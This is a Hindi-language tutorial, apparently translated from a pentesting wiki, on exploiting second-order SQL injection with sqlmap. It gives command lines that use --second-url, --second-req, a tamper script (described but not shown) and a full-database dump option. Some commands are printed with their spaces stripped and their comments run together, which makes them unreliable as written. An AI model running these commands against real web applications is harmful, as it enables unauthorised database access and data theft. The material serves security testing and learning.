SQLMap दूसरे क्रम के SQLi का लाभ उठा सकता है।
आपको प्रदान करने की आवश्यकता है:
वह अनुरोध जहाँ sqlinjection payload को सहेजा जाएगा
वह अनुरोध जहाँ payload को निष्पादित किया जाएगा
SQL injection payload को सहेजने वाला अनुरोध sqlmap में किसी अन्य इंजेक्शन की तरह संकेतित किया गया है। वह अनुरोध जहाँ sqlmap निष्पादन/आउटपुट पढ़ सकता है को --second-url या --second-req के साथ संकेतित किया जा सकता है यदि आपको किसी फ़ाइल से पूर्ण अनुरोध को संकेतित करने की आवश्यकता है।
सरल दूसरे क्रम का उदाहरण:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
कई मामलों में यह पर्याप्त नहीं होगा क्योंकि आपको पेलोड भेजने और एक अलग पृष्ठ पर पहुँचने के अलावा अन्य क्रियाएँ करने की आवश्यकता होगी।
जब इसकी आवश्यकता हो, तो आप sqlmap tamper का उपयोग कर सकते हैं। उदाहरण के लिए, निम्नलिखित स्क्रिप्ट एक नए उपयोगकर्ता को sqlmap पेलोड को ईमेल के रूप में पंजीकृत करेगी और लॉगआउट करेगी।
A SQLMap tamper हमेशा एक पेलोड के साथ इंजेक्शन प्रयास शुरू करने से पहले निष्पादित होता हैऔर इसे एक पेलोड लौटाना होता है। इस मामले में हमें पेलोड की परवाह नहीं है, लेकिन हमें कुछ अनुरोध भेजने की परवाह है, इसलिए पेलोड नहीं बदला जाता है।
तो, यदि किसी कारणवश हमें दूसरे क्रम के SQL इंजेक्शन का शोषण करने के लिए एक अधिक जटिल प्रवाह की आवश्यकता है जैसे:
"ईमेल" फ़ील्ड के अंदर SQLi पेलोड के साथ एक खाता बनाना
लॉगआउट
उस खाते के साथ लॉगिन करना (login.txt)
SQL इंजेक्शन निष्पादित करने के लिए एक अनुरोध भेजना (second.txt)
यह sqlmap लाइन मदद करेगी:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all